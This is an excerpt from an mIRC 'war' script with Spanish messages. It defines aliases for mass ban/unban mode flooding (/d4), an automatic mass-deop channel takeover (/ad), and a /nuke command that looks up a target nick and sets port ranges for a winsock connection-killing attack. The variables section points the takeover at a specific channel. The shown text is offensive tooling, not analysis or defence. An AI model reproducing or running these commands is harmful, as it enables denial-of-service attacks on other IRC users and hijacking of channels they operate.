  438. n80=  raw -q mode # -bbbbbb *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* 
  439. n81=  raw -q mode # -bbbbbb *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o*
  440. n82=}
  441. n83=/d4 { 
  442. n84=  if ($me !isop #) { error1 No eres OPerador de canal | halt }
  443. n85=  if (*1 = $null) { error usa /d4 q w e r t y  | halt }
  444. n86=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  445. n87=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  446. n88=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  447. n89=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  448. n90=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  449. n91=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  450. n92=  raw -q mode # +bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  451. n93=  raw -q mode # -bbbbbb * $+ $1 $+ *@* * $+ $2 $+ *@* * $+ $3 $+ *@* * $+ $4 $+ *@* * $+ $5 $+ *@* * $+ $6 $+ *@*
  452. n94=}
  453. n95=/ad {
  454. n96=  if ($1 == On) {
  455. n97=    set %Group.AutoTakeover On 
  456. n98=    meni ON Automatico Masivo deop cuando te den @ ON
  457. n99=    meni  Cuando te den el op los desopearas automaticamente.
  458. n100=  }
  459. n101=  if ($1 == Off) {
  460. n102=    set %Group.AutoTakeover Off
  461. n103=    meni OFF Automatico Masivo deop OFF 
  462. n104=  }
  463. n105=  if (($1 != On) || ($1 != Off))  { error1 usa: /ad [On|Off] }
  464. n106=}
  465. n107=/nuke {
  466. n108=  if ($winsock == $false) { winsock.error | halt }
  467. n109=  if ($1 == $null) { error Please use /nuke [Nick] | halt }
  468. n110=  set %Nuke.Ports 32    
  469. n111=  set %Nuke.Side -client | set %nuke.clp 1024 | set %nuke.chp 1400 
  470. n112=  if (-high isin $2-) { set %nuke.clp 1024 | set %nuke.chp 2400 }
  471. n113=  if (-port isin $2-) { set %nuke.sp $$?="Puerto a nukear?? (6667)" }
  472. n114=  if (-server isin $2-) { set %nuke.Side -server }
  473. n115=  set %nuke.nick $1 | .enable #Nuke | .raw whois $1
  474. n116=}
  475. [variables]
  476. n0=%channel #jaen
  477. n1=%Group.AutoTakeover On
  478.